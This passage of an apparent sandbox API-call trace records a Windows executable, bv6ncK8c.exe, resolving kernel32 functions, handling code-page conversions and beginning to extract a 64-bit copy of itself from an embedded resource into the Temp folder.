0x76e21252 [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0063.443] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0063.444] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0063.445] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0063.445] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0063.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3bc) returned 0x5960e0 [0063.445] GetCurrentThreadId () returned 0x99c [0063.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x18) returned 0x5964a8 [0063.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x800) returned 0x5964c8 [0063.446] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"creditservice.exe\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x5baeac4, hStdError=0x0)) [0063.446] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0063.446] GetFileType (hFile=0x3) returned 0x2 [0063.446] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0063.446] GetFileType (hFile=0x80) returned 0x3 [0063.446] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0063.446] GetFileType (hFile=0xb) returned 0x2 [0063.447] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"creditservice.exe\" -nobanner" [0063.447] GetEnvironmentStringsW () returned 0x596cd0* [0063.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8a) returned 0x597868 [0063.447] FreeEnvironmentStringsW (penv=0x596cd0) returned 1 [0063.447] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0063.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x596cd0 [0063.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xa0) returned 0x596d58 [0063.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3e) returned 0x598418 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x596e00 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6e) returned 0x596e78 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x78) returned 0x58f900 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x62) returned 0x596ef0 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2e) returned 0x596f60 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x48) returned 0x596f98 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2e) returned 0x596fe8 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x28) returned 0x597020 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1a) returned 0x595ab0 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4a) returned 0x597050 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x72) returned 0x58f980 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x5970a8 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2e) returned 0x5970e0 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1c) returned 0x595ad8 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xd2) returned 0x597118 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x7c) returned 0x5971f8 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x36) returned 0x597280 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3a) returned 0x598460 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x90) returned 0x5972c0 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x24) returned 0x597358 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x597388 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x36) returned 0x5973c0 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x48) returned 0x597400 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x52) returned 0x597450 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3c) returned 0x5984a8 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x18) returned 0x5974b0 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x82) returned 0x5974d0 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2e) returned 0x597560 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1e) returned 0x595b00 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2c) returned 0x597598 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x54) returned 0x5975d0 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x52) returned 0x597630 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2a) returned 0x597690 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3c) returned 0x5984f0 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x54) returned 0x5976c8 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x24) returned 0x597728 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x597758 [0063.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8c) returned 0x597790 [0063.448] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597868 | out: hHeap=0x580000) returned 1 [0063.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x800) returned 0x597828 [0063.449] GetLastError () returned 0x0 [0063.449] SetLastError (dwErrCode=0x0) [0063.449] GetLastError () returned 0x0 [0063.449] SetLastError (dwErrCode=0x0) [0063.449] GetLastError () returned 0x0 [0063.449] SetLastError (dwErrCode=0x0) [0063.449] GetACP () returned 0x4e4 [0063.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x220) returned 0x598030 [0063.449] GetLastError () returned 0x0 [0063.449] SetLastError (dwErrCode=0x0) [0063.449] IsValidCodePage (CodePage=0x4e4) returned 1 [0063.449] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0063.449] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0063.449] GetLastError () returned 0x0 [0063.449] SetLastError (dwErrCode=0x0) [0063.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0063.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0063.450] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0063.450] GetLastError () returned 0x0 [0063.450] SetLastError (dwErrCode=0x0) [0063.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0063.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0063.450] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0063.450] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0063.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿTëº\x05äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0063.450] GetLastError () returned 0x0 [0063.450] SetLastError (dwErrCode=0x0) [0063.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0063.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0063.450] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0063.450] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0063.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿTëº\x05äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0063.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x598258 [0063.450] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0063.450] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0063.451] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x598258) returned 0x80 [0063.451] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0063.451] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0063.451] GetCurrentProcess () returned 0xffffffff [0063.451] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0063.451] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0063.451] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0063.451] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0063.451] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0063.451] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0063.451] LockResource (hResData=0x43c648) returned 0x43c648 [0063.451] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x18) returned 0x5982e0 [0063.451] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, 